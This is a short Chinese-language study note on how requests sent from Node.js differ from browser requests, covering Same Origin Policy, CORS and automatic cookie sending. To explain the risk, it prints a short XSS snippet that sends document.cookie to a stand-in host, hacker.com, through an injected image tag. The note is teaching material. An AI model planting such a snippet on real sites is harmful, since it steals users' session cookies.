在 Node.js 跟瀏覽器上發 request 的差異

小常識。

簡述

一個是直接發幫你發,一個是要經過「瀏覽器」。後者的限制比較多,例如「CROS」、「Same Origin Policy」等等。伺服器傳 response 也是一樣,後者要經過瀏覽器這一步。

除了各種限制之外,還會被「加料」像是 user-agent 這類的 header,伺服器可以從中得到資訊。

Same origin policy

發 request 的時候瀏覽器會自動幫你加上 origin 這個 header,讓 server 知道「來源」是哪裡,接著 server 在透過「CROS」來決定要讓誰可以存取資源 Access-Control-Allow-Origin

例子可以直接參考:從遊戲來認識 CORS 與瀏覽器的限制

為什麼只有瀏覽器有限制?

首先是環境的差異,瀏覽器是「公共環境」、Node.js 是「私有環境」。在公共環境下就得特別注意「隱私性」的問題。

瀏覽器的 cookie 會儲存一些個人資料,像是帳號密碼。而瀏覽器發 request 到某個 Domain 的時候都會帶上對應的 cookie

利用「自動帶上 cookie」的這個特性,壞人就有機會竊取你的 cookie,參考下面的例子。

假設我是壞人,我可以在有 XSS 漏洞的網站嵌入以下內容:

1
2
3
4
5
6
const hackerServer = 
`https://hacker.com?cookie=${escape(document.cookie)}`

const img = document.createElement('img')
img.setAttribute('src', hackerServer)
document.querySelector('body').appendChild(img)

當使用者來到被「加料」後的漏洞網站後,就會自動把 cookie 送到「駭客的後端伺服器」,接著駭客就可以拿 cookie 來做壞事了。

詳細步驟是這樣:

  • 在漏洞網站嵌入圖片,這個圖片的網址是「駭客的伺服器位置」+「使用者在這個網站的 cookie」
  • 圖片載入的時候就會自動發 request,所以使用者根本不知道自己的 cookie 被偷了

詳細可以參考這個網站

另外 [FE102] 提到的「email 收件通知」的原理也跟這個差不多。

用 AJAX 跟 Form 表單發 request 的差異 mentor-program-day43
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×